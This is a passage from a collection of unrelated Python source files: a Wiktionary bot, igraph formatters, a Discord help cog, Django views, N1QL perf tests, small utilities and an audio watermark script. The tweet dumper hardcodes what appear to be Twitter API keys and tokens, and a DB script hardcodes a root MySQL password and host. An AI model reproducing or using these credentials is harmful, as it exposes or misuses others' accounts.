the\n # previous section.\n sections[-1] = re.sub(r\"\\n+--+\\n*\\Z\", \"\", sections[-1])\n return \"\".join(sections)\n\n if \"==Etymology 1==\" in secbody:\n movable_sections_are_etym_subsections = True\n etym_sections = re.split(\"(^===Etymology [0-9]+===\\n)\", secbody, 0, re.M)\n k = 2\n while k < len(etym_sections):\n m = re.search(\"Etymology [0-9]+\", etym_sections[k - 1])\n header = m.group(0)\n if etym_section_is_movable(etym_sections[k], header):\n movable_sections.append(etym_sections[k])\n del etym_sections[k]\n del etym_sections[k-1]\n else:\n has_non_movable_etym_sections = True\n k += 2\n if not movable_sections:\n pagemsg(\"Can't take action on page\")\n return\n if len(etym_sections) > 3:\n # Two or more remaining etym sections, just renumber.\n next_etym_section = 1\n for k in range(1, len(etym_sections), 2):\n etym_sections[k] = \"===Etymology %s===\\n\" % next_etym_section\n next_etym_section += 1\n secbody = \"\".join(etym_sections)\n sections[j] = secbody + sectail\n text = \"\".join(sections)\n notes.append(\"excised %s subsection%s for Arabic forms wrongly lacking final aleph\" %\n (len(movable_sections), \"\" if len(movable_sections) == 1 else \"s\"))\n elif len(etym_sections) == 3:\n # Only one etym section left, convert it to a non-etym-split section\n non_etym_split_section = convert_etym_subsection_to_single_etymology_section(etym_sections[2])\n secbody = etym_sections[0] + non_etym_split_section\n sections[j] = secbody + sectail\n text = \"\".join(sections)\n notes.append(\"excised %s subsection%s for Arabic forms wrongly lacking final aleph, leaving one non-etym-split section\" %\n (len(movable_sections), \"\" if len(movable_sections) == 1 else \"s\"))\n else:\n # Arabic section as a whole needs to go.\n text = remove_arabic_section()\n else:\n movable_sections_are_etym_subsections = False\n if etym_section_is_movable(secbody, \"single etymology section\"):\n movable_sections.append(secbody)\n # Arabic section as a whole needs to go.\n text = remove_arabic_section()\n else:\n pagemsg(\"Can't take action on page\")\n return\n\n # This frequently happens as a result of our cutting and pasting\n newtext = re.sub(r\"\\n\\n+\", \"\\n\\n\", text)\n if newtext != text:\n if not notes:\n notes.append(\"compress sequences of 3 blank lines\")\n text = newtext\n\n if not text:\n # We can move the whole page\n new_pagetitle = pagetitle + \"ا\"\n new_page = pywikibot.Page(site, new_pagetitle)\n if new_page.exists():\n pagemsg(\"New page %s already exists, can't rename\" % new_pagetitle)\n pagemsg(\"Page should be deleted\")\n return\n comment = \"Rename misspelled 2nd/3rd masc pl subj/juss/impr non-lemma form\"\n pagemsg(\"Moving to %s (comment=%s)\" % (new_pagetitle, comment))\n errpagemsg(\"Moving to %s (comment=%s)\" % (new_pagetitle, comment))\n if save:\n try:\n page.move(new_pagetitle, reason=comment, movetalk=True, noredirect=True)\n except pywikibot.PageRelatedError as error:\n pagemsg(\"Error moving to %s: %s\" % (new_pagetitle, error))\n return\n blib.do_edit(pywikibot.Page(site, new_pagetitle), index, fix_new_page,\n save=args.save, verbose=args.verbose, diff=args.diff)\n\n else:\n return text, notes\n\nparser = blib.create_argparser(\"Fix misspelling in Arabic 2nd/3rd masc pl non-past subj/juss forms\",\n include_pagefile=True)\nargs = parser.parse_args()\nstart, end = blib.parse_start_end(args.start, args.end)\n\nblib.do_pagefile_cats_refs(args, start, end, process_page, edit=True)\n","sub_path":"fix_ar_bad_23mp_sub_juss_imp.py","file_name":"fix_ar_bad_23mp_sub_juss_imp.py","file_ext":"py","file_size_in_byte":10416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"96474838","text":"\r\ndef _all_params(thing):\r\n return [getattr(thing, p) \r\n for p in dir(thing)\r\n if not callable(getattr(thing, p))\r\n and not p.startswith('__')]\r\n\r\ndef _merge_formats(fmt_one, fmt_two):\r\n for key in fmt_two.keys():\r\n if key in fmt_one.keys():\r\n fmt_one[key].update(fmt_two[key])\r\n else:\r\n fmt_one[key] = dict(fmt_two[key])\r\n\r\n\r\nclass VisState:\r\n State = \"state\"\r\n Regular = \"regular\"\r\n Highlighted = \"highlighted\"\r\n\r\n\r\nclass IgraphParams:\r\n class Vertex:\r\n Color = \"vertex_color\"\r\n Size = \"vertex_size\"\r\n Label = \"vertex_label\"\r\n LabelColor = \"vertex_label_color\"\r\n FrameColor = \"vertex_frame_color\"\r\n\r\n def all_params():\r\n return _all_params(IgraphParams.Vertex)\r\n\r\n class Edge:\r\n Color = \"edge_color\"\r\n Curved = \"edge_curved\"\r\n Width = \"edge_width\"\r\n Label = \"edge_label\"\r\n ArrowSize = \"edge_arrow_size\"\r\n\r\n def all_params():\r\n return _all_params(IgraphParams.Edge)\r\n\r\n\r\nclass Formatter:\r\n def __init__(self, format_dict):\r\n self.format_dict = format_dict\r\n\r\n def _get_state(self, element):\r\n if VisState.State in element.attribute_names():\r\n return element[VisState.State] or VisState.Regular\r\n else:\r\n return VisState.Regular\r\n\r\n def _get_value(self, state, param):\r\n if state in self.format_dict.keys():\r\n if param in self.format_dict[state].keys():\r\n return self.format_dict[state][param]\r\n return self.format_dict[VisState.Regular][param]\r\n\r\n\r\nclass VertexFormatter(Formatter):\r\n def __init__(self, format_dict={}):\r\n # set defaults\r\n default_format_dict = {\r\n VisState.Regular: {\r\n IgraphParams.Vertex.Color: \"#ff0000\",\r\n IgraphParams.Vertex.FrameColor: \"#000000\",\r\n IgraphParams.Vertex.LabelColor: \"#000000\",\r\n IgraphParams.Vertex.Size: 20,\r\n IgraphParams.Vertex.Label: True\r\n }\r\n }\r\n _merge_formats(default_format_dict, format_dict)\r\n super(VertexFormatter, self).__init__(default_format_dict)\r\n\r\n def get_property(self, prop, vertex):\r\n state = self._get_state(vertex)\r\n value = self._get_value(state, prop)\r\n if prop == IgraphParams.Vertex.Label:\r\n return self._label(value, vertex)\r\n return value\r\n\r\n def _label(self, drawLabel, vertex):\r\n if not drawLabel: return str()\r\n\r\n if 'name' in vertex.attribute_names():\r\n return vertex['name']\r\n else:\r\n return str(vertex.index + 1)\r\n\r\n\r\nclass EdgeFormatter(Formatter):\r\n def __init__(self, format_dict={}):\r\n # set defaults\r\n default_format_dict = {\r\n VisState.Regular: {\r\n IgraphParams.Edge.Color: \"#000000\",\r\n IgraphParams.Edge.Width: 1,\r\n IgraphParams.Edge.Curved: True,\r\n IgraphParams.Edge.Label: False,\r\n IgraphParams.Edge.ArrowSize: 0\r\n }\r\n }\r\n _merge_formats(default_format_dict, format_dict)\r\n super(EdgeFormatter, self).__init__(default_format_dict) \r\n\r\n def get_property(self, prop, edge):\r\n state = self._get_state(edge)\r\n value = self._get_value(state, prop)\r\n if prop == IgraphParams.Edge.Label:\r\n return self._label(value, edge)\r\n return value\r\n\r\n def _label(self, drawLabel, edge):\r\n if not drawLabel: return str()\r\n\r\n lookup = ['weight', 'label', 'name']\r\n attributes = edge.attribute_names()\r\n for attr in lookup:\r\n if attr in attributes: \r\n return str(edge[attr])\r\n return str(edge.index) \r\n\r\n","sub_path":"src/view/formatters.py","file_name":"formatters.py","file_ext":"py","file_size_in_byte":3827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"205719676","text":"import discord\nfrom discord.ext import commands\n\n#Initiates Help class\nclass Help(commands.Cog):\n\n\n #Initiates the cog\n def __init__(self, client):\n self.client = client\n\n\n #Prints update message in terminal\n @commands.Cog.listener()\n async def on_ready(self):\n print('Providing Help')\n\n\n #Replaces default help command\n @commands.command()\n @commands.cooldown(1,5,commands.BucketType.user)\n async def help(self, ctx):\n await ctx.send(\"Here is a list of commands:\")\n await ctx.send(\"```$changeprefix [new prefix]: Changes custom prefix (Owner Only)\" + \"\\n\" + \"$help: Displays this message\" + \"\\n\" + \"$yiff [tag]: Shows random yiff from e621\" + \"\\n\" + \"$fa [tag]: Shows random FurAffinity Content\" + \"\\n\\n\" + \"-Combine Tags using &. ie: $yiff gay&dragon```\")\n\ndef setup(client):\n client.add_cog(Help(client))\n","sub_path":"cogs/Help.py","file_name":"Help.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"44004413","text":"# coding: utf-8\n\nfrom django.http import HttpResponse, Http404, HttpResponseRedirect\nfrom django.shortcuts import render, get_object_or_404\nfrom django.views.decorators.http import require_GET\nfrom django.core.paginator import Paginator\nfrom django.core.urlresolvers import reverse\n\nfrom models import Question\nfrom forms import AnswerForm, AskForm\n\n# Create your views here.\n\n\ndef test(request, *args, **kwargs):\n return HttpResponse('OK')\n\n\ndef question_details(request, pk):\n quest = get_object_or_404(Question, pk=pk)\n if request.method == \"POST\":\n url_answer = reverse('answer')+'?quest='+unicode(quest.id)\n HttpResponseRedirect(url_answer)\n answer = quest.answer_set.all()\n form = AnswerForm()\n form.question = quest.id\n url_answer=reverse('answer')+'?quest='+unicode(quest.id)\n return render(request, 'qa/question_details.html', {\n 'question': quest,\n 'answer': answer,\n 'form': form,\n 'url_answer': url_answer,\n })\n\n\ndef answer(request):\n if request.method == \"POST\":\n form = AnswerForm(request.POST)\n url = request.GET.get('quest', None)\n if url == None:\n HttpResponseRedirect('/')\n form.question = url\n if form.is_valid():\n answer = form.save()\n url = reverse('question', args=[url])\n return HttpResponseRedirect(url)\n else:\n HttpResponseRedirect('/')\n\n\n@require_GET\ndef question_list_all(request, **kwargs):\n version = kwargs.get('version')\n if version == 'ver_new':\n quest = Question.objects.new_question()\n elif version == 'ver_popular':\n quest = Question.objects.best_question()\n else:\n quest = Question.objects.order_by('added_at')\n version = 'ver_new'\n try:\n limit = int(request.GET.get('limit', 10))\n except ValueError:\n limit = 10\n try:\n page = int(request.GET.get('page', 1))\n except ValueError:\n raise Http404\n paginator = Paginator(quest, limit)\n paginator.baseurl = reverse(version)+'?page='\n page = paginator.page(page) # Page\n return render(request, 'qa/question_list.html', {\n 'version': version,\n 'quest': page.object_list,\n 'paginator': paginator, 'page': page,\n })\n\n\ndef ask(request, *wargs, **kwargs):\n if request.method == \"POST\":\n form = AskForm(request.POST)\n url = '/'\n if form.is_valid():\n question = form.save()\n url = question.get_url()\n return HttpResponseRedirect(url)\n else:\n form = AskForm()\n return render(request, 'qa/question_ask.html', {\n 'form': form,\n })\n","sub_path":"ask/qa/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"458338447","text":"from perfrunner.helpers.cbmonitor import timeit, with_stats\nfrom perfrunner.tests import PerfTest, TargetIterator\n\n\nclass N1QLTest(PerfTest):\n\n COLLECTORS = {\n 'iostat': False,\n 'memory': False,\n 'n1ql_latency': True,\n 'n1ql_stats': True,\n 'net': False,\n 'secondary_stats': True,\n }\n\n @with_stats\n def access(self, *args):\n super().sleep()\n\n self.worker_manager.wait_for_workers()\n\n def load(self, *args):\n \"\"\"Create two data sets with different key prefixes.\n\n In order to run the N1QL tests we need to satisfy two contradicting\n requirements:\n * Fields should be changed so that the secondary indexes are being\n updated.\n * Fields remain the same (based on a deterministic random algorithm) so\n that we can query them.\n\n The following workaround was introduced:\n * 50% of documents are being randomly mutated. These documents are not\n used for queries.\n * 50% of documents remain unchanged. Only these documents are used for\n queries.\n \"\"\"\n load_settings = self.test_config.load_settings\n load_settings.items //= 2\n\n iterator = TargetIterator(self.cluster_spec, self.test_config, 'n1ql')\n super().load(settings=load_settings, target_iterator=iterator)\n super().load(settings=load_settings)\n\n def access_bg(self, *args):\n self.download_certificate()\n\n access_settings = self.test_config.access_settings\n access_settings.items //= 2\n super().access_bg(settings=access_settings)\n\n def build_index(self):\n self.index.build()\n\n def create_index(self, bucket, index, query_node, index_node=None):\n self.index.create_index(bucket, index, query_node, index_node)\n\n def run(self):\n self.load()\n self.wait_for_persistence()\n\n self.build_index()\n\n self.access_bg()\n self.access()\n\n self.report_kpi()\n\n\nclass N1QLLatencyTest(N1QLTest):\n\n def _report_kpi(self):\n self.reporter.post(\n *self.metrics.query_latency(percentile=90)\n )\n\n\nclass N1QLThroughputTest(N1QLTest):\n\n def _report_kpi(self):\n self.reporter.post(\n *self.metrics.avg_n1ql_throughput()\n )\n\n\nclass N1QLJoinTest(N1QLThroughputTest):\n\n ALL_BUCKETS = True\n\n def load_regular(self, load_settings, target):\n load_settings.items //= 2\n super(N1QLTest, self).load(settings=load_settings,\n target_iterator=(target, ))\n target.prefix = 'n1ql'\n super(N1QLTest, self).load(settings=load_settings,\n target_iterator=(target, ))\n\n def load_categories(self, load_settings, target):\n load_settings.items = load_settings.num_categories\n target.prefix = 'n1ql'\n super(N1QLTest, self).load(settings=load_settings,\n target_iterator=(target, ))\n\n def load(self, *args):\n doc_gens = self.test_config.load_settings.doc_gen.split(',')\n for doc_gen, target in zip(doc_gens, self.target_iterator):\n load_settings = self.test_config.load_settings\n load_settings.doc_gen = doc_gen\n\n if doc_gen == 'ref':\n self.load_categories(load_settings, target)\n else:\n self.load_regular(load_settings, target)\n\n def access_bg(self, *args):\n doc_gens = self.test_config.load_settings.doc_gen.split(',')\n for doc_gen, target in zip(doc_gens, self.target_iterator):\n if doc_gen == 'ref':\n continue\n\n access_settings = self.test_config.access_settings\n access_settings.doc_gen = doc_gen\n access_settings.items //= 2\n access_settings.buckets = self.test_config.buckets\n\n if doc_gen != access_settings.n1ql_gen:\n access_settings.n1ql_workers = 0\n\n super(N1QLTest, self).access_bg(settings=access_settings,\n target_iterator=(target, ))\n\n def _report_kpi(self):\n self.reporter.post(\n *self.metrics.avg_n1ql_throughput()\n )\n\n\nclass N1QLBulkTest(N1QLTest):\n\n @with_stats\n @timeit\n def access(self, *args):\n statement = self.test_config.access_settings.n1ql_queries[0]['statement']\n\n query_node = self.cluster_spec.servers_by_role('n1ql')[0]\n self.rest.exec_n1ql_statement(query_node, statement)\n\n def _report_kpi(self, time_elapsed):\n self.reporter.post(\n *self.metrics.bulk_n1ql_throughput(time_elapsed)\n )\n\n def run(self):\n self.load()\n self.wait_for_persistence()\n\n self.build_index()\n\n time_elapsed = self.access()\n\n self.report_kpi(time_elapsed)\n\n\nclass N1QLMixedThroughputTest(N1QLThroughputTest):\n\n def build_index(self):\n bucket = self.test_config.buckets[0]\n query_node = self.cluster_spec.servers_by_role('n1ql')[0]\n for index in self.test_config.n1ql_settings.indexes:\n self.create_index(bucket, index, query_node)\n\n\nclass N1QLDGMTest:\n\n COLLECTORS = {\n 'n1ql_latency': True,\n 'n1ql_stats': True,\n 'net': False,\n 'secondary_stats': True,\n 'secondary_storage_stats': True,\n }\n\n\nclass N1QLDGMThroughputTest(N1QLDGMTest, N1QLThroughputTest):\n\n pass\n\n\nclass N1QLDGMLatencyTest(N1QLDGMTest, N1QLLatencyTest):\n\n pass\n","sub_path":"perfrunner/tests/n1ql.py","file_name":"n1ql.py","file_ext":"py","file_size_in_byte":5498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"145219708","text":"def dfs(y, x, a, b, check):\n ans = 0\n if y == h:\n ans = 1\n elif x == w:\n ans = dfs(y + 1, 0, a, b, check)\n elif check[y][x] == True:\n ans = dfs(y, x + 1, a, b, check)\n else:\n ans = 0\n check[y][x] = True\n if a > 0:\n # 横に行くパターン\n if 0 <= x < w - 1 and check[y][x + 1] == False:\n check[y][x + 1] = True\n ans += dfs(y, x + 1, a - 1, b, check)\n check[y][x + 1] = False\n # 縦に行くパターン\n if 0 <= y < h - 1 and check[y + 1][x] == False:\n check[y + 1][x] = True\n ans += dfs(y, x + 1, a - 1, b, check)\n check[y + 1][x] = False\n if b > 0:\n ans += dfs(y, x + 1, a, b - 1, check)\n check[y][x] = False\n return ans\n\nh, w, A, B = map(int,input().split())\ncheck = [[False] * w for _ in range(h)]\n\nprint(dfs(0, 0, A, B, check))","sub_path":"SimilarProblem/025_02.py","file_name":"025_02.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"107310181","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nTakes a directory of files and converts the files in the directory to \"pseudo\"\nURLs or prints the list of files.\n\nWritten to \"rebuild\" the URL path of files/directories from a downloaded and\nextracted .zip file.\n\"\"\"\n\nimport argparse\nimport os\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description='Takes a directory of files and converts the OS path to a \"pseudo URL\" or prints the list of files (default).')\n # Requires OS path\n parser.add_argument('os_path', help='OS path')\n # Optional print list to terminal\n parser.add_argument('--terminal_out',\n action='store_true', help='print list to terminal')\n # Optional argument to convert to URL format\n parser.add_argument(\n '--convert_to_url_format', action='store_true', help='argument to convert to URL format')\n # Optional argument to replace root directory with a string\n parser.add_argument(\n '--replace_root', help='argument to replace root directory with a string - i.e. with example.com/')\n # Optional argument to print unique file extensions\n parser.add_argument('--unique_file_exts',\n action='store_true', help='print unique file extensions')\n # Optional argument to remove file extension\n parser.add_argument('--remove_file_ext',\n action='store_true', help='removes file extension')\n # Optional argument to write results to file\n parser.add_argument('--to_file', help='name of output .txt file')\n # Optional list of file formats to replace with ashx\n parser.add_argument('--file_ext_replace', nargs='+',\n help='file extensions to be replaced by .ashx')\n args = parser.parse_args()\n\n file_list = []\n file_ext_set = set()\n # Walk path and create a pseudo URL from OS file paths\n for r, d, f in os.walk(args.os_path):\n for file in f:\n # Create entire path\n file = os.path.join(r, file)\n # Append file extensions to set\n if args.unique_file_exts:\n file_ext_set.add(os.path.splitext(file)[1])\n # Strip the file extension\n if args.remove_file_ext:\n file = os.path.splitext(file)[0]\n # Replace start of os path with HTTP/s location\n if args.replace_root:\n file = file.replace(args.os_path, args.replace_root)\n # Replace %20 with -; replace backslash with forward; to lowercase\n if args.convert_to_url_format:\n file = file.replace(\n '%20', '-').replace(\"\\\\\", \"/\").lower()\n # Replace file extension with ashx\n if args.file_ext_replace:\n if any(i.lower() in os.path.splitext(file)[1].lower() for i in args.file_ext_replace):\n file = os.path.splitext(file)[0] + '.ashx'\n file_list.append(file)\n\n if args.terminal_out:\n for i in file_list:\n print(i)\n\n if args.to_file:\n to_file(file_list, args.to_file)\n\n if args.unique_file_exts:\n for i in sorted(list(file_ext_set), key=str.casefold):\n print(i)\n\n\ndef to_file(urls, filename):\n \"\"\"Write URL list to file\"\"\"\n with open(filename, 'w') as f:\n for i in urls:\n if i == urls[-1]:\n f.write(i)\n else:\n f.write(i+'\\n')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"archived scripts/os_path_to_url/os_path_to_url.py","file_name":"os_path_to_url.py","file_ext":"py","file_size_in_byte":3468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"546805659","text":"import pandas as pd # to store tweets into csv\r\nimport tweepy\r\n\r\n# Twitter API credentials\r\n\r\n#Twitter API credentials\r\nconsumer_key = \"IXX57HfN1zC7Yi9fdi25vqkep\"\r\nconsumer_secret = \"zY56zi2JAbDSpT6TttEC9PfIAFhwuvvGjEtGiotXLz5IsFNenf\"\r\naccess_key = \"2838198962-U3ju9AS1SQz72UFbSm2TSrJWIXlQEolDAgjqzUK\"\r\naccess_secret = \"VrXTSbWWSsKHIpzGleNi4Qhk4laPlDz0q2IVuMvS9TQbw\"\r\n\r\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\r\nauth.set_access_token(access_key, access_secret)\r\napi = tweepy.API(auth)\r\n\r\n\r\ndef get_all_tweets(screen_name):\r\n alltweets = []\r\n new_tweets = api.user_timeline(screen_name=screen_name, count=200)\r\n alltweets.extend(new_tweets)\r\n oldest = alltweets[-1].id - 1\r\n while len(new_tweets) > 0:\r\n print\r\n \"getting tweets before %s\" % (oldest)\r\n new_tweets = api.user_timeline(screen_name=screen_name, count=200, max_id=oldest)\r\n alltweets.extend(new_tweets)\r\n oldest = alltweets[-1].id - 1\r\n print(\"...%s tweets downloaded so far\" % (len(alltweets)))\r\n\r\n data = [\r\n [obj.text.encode(\"utf8\")] for obj in alltweets]\r\n dataframe = pd.DataFrame(data, columns=['tweet'])\r\n dataframe.to_csv(\"Titan/%s_tweets.txt\" % (screen_name), index=False)\r\n\r\n\r\nif __name__ == '__main__':\r\n # pass in the username of the account you want to download\r\n get_all_tweets(\"titanwatches\")\r\n","sub_path":"Tweet_Dumper.py","file_name":"Tweet_Dumper.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"588768142","text":"book_name = str(input())\ncapacity = int(input())\ncount = 0\nbook_found = False\nwhile count < capacity:\n library_entry = str(input())\n count += 1\n if library_entry == book_name:\n book_found = True\n break\nif not book_found:\n print(f'The book you search is not here!')\n print(f'You checked {count} books.')\nelse:\n print(f'You checked {count - 1} books and found it.')\n","sub_path":"1_pb_python/pb_python_whle_loop_exercice/old_books.py","file_name":"old_books.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"611990480","text":"\n\"\"\"\n\n1달이상 게시물 삭제\n\n\"\"\"\n\nimport pymysql\nfrom datetime import datetime\nfrom Crawler.filterItem import *\nfrom Crawler.spiders.Setting import *\n\nclass refrashDB:\n\n # DB접속을 위해 커넥션 얻는 부분\n def __init__(self):\n try:\n self.conn = pymysql.connect(host=\"gb1541.synology.me\", port = 32768, user=\"root\", password=\"rmstlr1234\", db=\"Damoa\",\n charset=\"utf8\")\n self.cursor = self.conn.cursor(pymysql.cursors.DictCursor)\n\n except pymysql.Error:\n print(pymysql.Error.args)\n print(\"DB Connection Error\")\n\n # DB에 데이터 저장\n def searchDB(self, spiderName):\n\n sql = \"select * from totalposts where source = %s\"\n\n self.cursor.execute(sql, spiderName)\n\n result = self.cursor.fetchall()\n\n dateTmp_curr = datetime.strptime(datetime.now().strftime('%Y-%m-%d %H:%M:%S'), '%Y-%m-%d %H:%M:%S')\n\n for rs in result:\n timeTmp1 = datetime.strptime(str(rs['mydate']), \"%Y-%m-%d %H:%M:%S\")\n timeGap = (dateTmp_curr - timeTmp1).total_seconds()\n\n if timeGap > SIX_MONTH: # 일정기간 지난 게시물 삭제\n self.deleteRecord(rs['link'])\n\n def deleteRecord(self, link):\n sql = \"delete from totalposts where link = %s\"\n\n self.cursor.execute(sql, link)\n\n self.conn.commit()\n\n\n\n\n","sub_path":"Crawler/refrashDB.py","file_name":"refrashDB.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"165752741","text":"# -*- coding: utf-8 -*-\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.feature_extraction.text import CountVectorizer \r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.naive_bayes import MultinomialNB\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom sklearn.metrics import accuracy_score\r\nfrom sklearn import metrics\r\nfrom sklearn.svm import SVC\r\n\r\n\r\n#load dataset\r\ndf = pd.read_csv('PATH TO CSV FILE', encoding='latin-1')\r\n\r\n\r\n\r\n#Select airline sentiment except the neutral ones\r\ndf = df[df['airline_sentiment'] != 'neutral']\r\n\r\nprint(df['airline_sentiment'].value_counts())\r\n\r\n\r\ndf_majority = df[df['airline_sentiment'] == 'negative']\r\ndf_minority = df[df['airline_sentiment'] == 'positive']\r\n\r\nfrom sklearn.utils import resample\r\n\r\ndf_majority_downsampled = resample(df_majority, replace = True, n_samples = 2363, random_state = 4)\r\n\r\ndf = pd.concat([df_minority,df_majority_downsampled])\r\n\r\nprint(df['airline_sentiment'].value_counts())\r\n\r\n\r\nX = df['text'] #target \r\nY = df['airline_sentiment'] #label\r\n\r\n#split train test\r\nX_train, X_test, Y_train, Y_test = train_test_split(X,Y,test_size= 0.2, stratify= Y) #tries to split equally coressponding to labels\r\n#print(X_train)\r\n\r\n\r\nvectorizer = CountVectorizer(stop_words='english', min_df = 0.02)\r\n\r\n\r\n\r\nX_train_words = vectorizer.fit_transform(X_train) \r\n\r\nprint(len(Y_train))\r\nprint(len(Y_test))\r\n#print(X_train_words['data'])\r\n#print(newsgroups_train['target'][1000])\r\n\r\nvocabulary_dict = vectorizer.vocabulary_ \r\n\r\nvocabulary_list = vectorizer.get_feature_names() \r\n\r\nprint(vocabulary_list)\r\n\r\n\r\n\r\n\r\nvocabulary = np.asarray(vocabulary_list) \r\n\r\n\r\nstopwords = vectorizer.stop_words_ \r\n\r\n\r\n\r\ndoc_term_train = X_train_words.todense().getA()\r\nprint(doc_term_train)\r\nstopwords_list = list(stopwords);\r\nprint(stopwords_list)\r\n\r\n\r\n#creating classifeir\r\nclf = SVC(gamma='auto',probability=True) \r\n\r\nclf.fit(X_train_words,Y_train); \r\n\r\n\r\nY_train_words_pred = clf.predict(X_train_words) \r\n\r\ntrain_accuracy = np.mean(Y_train_words_pred == Y_train)\r\n\r\nprint(train_accuracy) \r\n\r\n\r\n\r\n#train_accuracy1 = clf.score(X_train_words,Y_train);\r\n#print(train_accuracy1)\r\n\r\nprint(metrics.classification_report(Y_train, Y_train_words_pred)); \r\n\r\n#n_train = len(X.data);\r\n\r\n\r\ntrain_conf_mat = confusion_matrix(Y_train, Y_train_words_pred) \r\n\r\nprint(train_conf_mat)\r\n\r\nX_test_words = vectorizer.transform(X_test)\r\n\r\n\r\ndoc_term_test =X_test_words.todense().getA()\r\n#print(doc_term_test)\r\n \r\n\r\nY_test_words_pred = clf.predict(X_test_words)\r\ntest_accuracy = np.mean(Y_test_words_pred == Y_test)\r\nprint(test_accuracy)\r\n\r\n\r\n\r\nprint(metrics.classification_report(Y_test, Y_test_words_pred))\r\n\r\ntest_conf_mat = metrics.confusion_matrix(Y_test, Y_test_words_pred)\r\n\r\n\r\n\r\nprint(test_conf_mat)\r\n\r\n\r\n\r\n\r\n#Another Methods\r\n#naive bayees classifier for multinoial models\r\n#is suitable mostly for discrete features\r\n\r\n\r\n\r\n#Building the model: multinomial \r\nprint('multinomial')\r\nModel = MultinomialNB()\r\nModel.fit(X_train_words , Y_train) \r\n\r\n\r\n\r\n#Evaluate Model on Train set\r\nY_train_predict = Model.predict(X_train_words) \r\n\r\n\r\nprint(accuracy_score(Y_train, Y_train_predict)) \r\n#almost same result accuracy close to 80%\r\n\r\n#Evaluate Model on Test set\r\nX_test_words = vectorizer.transform(X_test)\r\n\r\nY_test_predict = Model.predict(X_test_words)\r\n\r\nprint(accuracy_score(Y_test, Y_test_predict))\r\n\r\n#Building the model: logistic Regression \r\nprint('logistic')\r\nModel = LogisticRegression(solver = 'lbfgs')\r\nModel.fit(X_train_words , Y_train)\r\n\r\n#Evaluate Model on Train set\r\nY_train_predict = Model.predict(X_train_words)\r\n\r\nprint(accuracy_score(Y_train, Y_train_predict))\r\n\r\n#Evaluate Model on Test set\r\nX_test_words = vectorizer.transform(X_test)\r\n\r\nY_test_predict = Model.predict(X_test_words)\r\n\r\nprint(accuracy_score(Y_test, Y_test_predict))\r\n\r\n#print(Y_train.value_counts())\r\n\r\n#print(vectorizer.vocabulary_)\r\n","sub_path":"Project.py","file_name":"Project.py","file_ext":"py","file_size_in_byte":3950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"426100602","text":"import random\nimport time\nfrom multiprocessing import cpu_count\n\nfrom pytest import mark\n\nimport air\n\n\ndef f(x):\n time.sleep(random.random() / 100)\n return x * 2\n\n\n# DON'T RUN THIS TEST FROM VSCODE (it hangs)\n@mark.parametrize('n_workers', [0, cpu_count() * 2])\ndef test_task(n_workers):\n for star in [False, True]:\n data = range(n_workers * 2)\n if star:\n data = ((x,) for x in data)\n assert (\n set(air.prun(f, data, n_workers, star))\n == set(range(0, n_workers * 2 * 2, 2))\n )\n","sub_path":"air/tests/test_task.py","file_name":"test_task.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"116425683","text":"import sys\nimport os\nimport ffmpy\nimport threading\nfrom pathlib import Path\nfrom EchoHiding import coding ,decoding\nfrom difflib import SequenceMatcher\nimport config\n\nMain_File_Path = config.Main_File_Path\nRoot_Path = config.Root_Path\nOriginal_Folder_Path = config.Original_Folder_Path\nWatermark_Message_Folder_Path = config.Watermark_Message_Folder_Path\nKey_Folder_Path = config.Key_Folder_Path\nWatermarked_Folder_Path = config.Watermarked_Folder_Path\nWatermarked_Folder_Path_128 = config.Watermarked_Folder_Path_128\nWatermarked_Folder_Path_320 = config.Watermarked_Folder_Path_320\nPy_Script_Folder_Path = config.Py_Script_Folder_Path\nFFMPEG_EXE_Path = config.FFMPEG_EXE_Path\n\n\ndef isSimilar(bits, message, original, original_bits):\n string_match_threshhold = config.string_match_threshhold\n bit_match_threshhold = config.bit_match_threshhold\n\n\n #check bit similar\n total = len(bits)\n if len(bits) > len(original_bits):\n total = len(original_bits)\n \n similar_bits_count = 0.0\n for i in range(total):\n if( int(bits[i]) == int(original_bits[i]) ) :\n similar_bits_count += 1.0\n\n bits_similarity = similar_bits_count / total\n string_similarity = SequenceMatcher(None, message, original_message ).ratio()\n\n print(\"bit similarity : \" + str(bits_similarity))\n print(\"string similarity : \" + str(string_similarity))\n sys.stdout.flush()\n\n if bits_similarity >= bit_match_threshhold:\n return True\n\n if string_similarity >= string_match_threshhold:\n return True\n\n return False\n\ndef ToMP3(filename):\n\n input_file = Watermarked_Folder_Path/filename\n output_128 = Watermarked_Folder_Path_128/(str(filename).rsplit('.',1)[0] +\".mp3\")\n output_320 = Watermarked_Folder_Path_320/(str(filename).rsplit('.',1)[0] +\".mp3\")\n param_128 = [\"-y\",\"-b:a\",\"128k\"]\n param_320 = 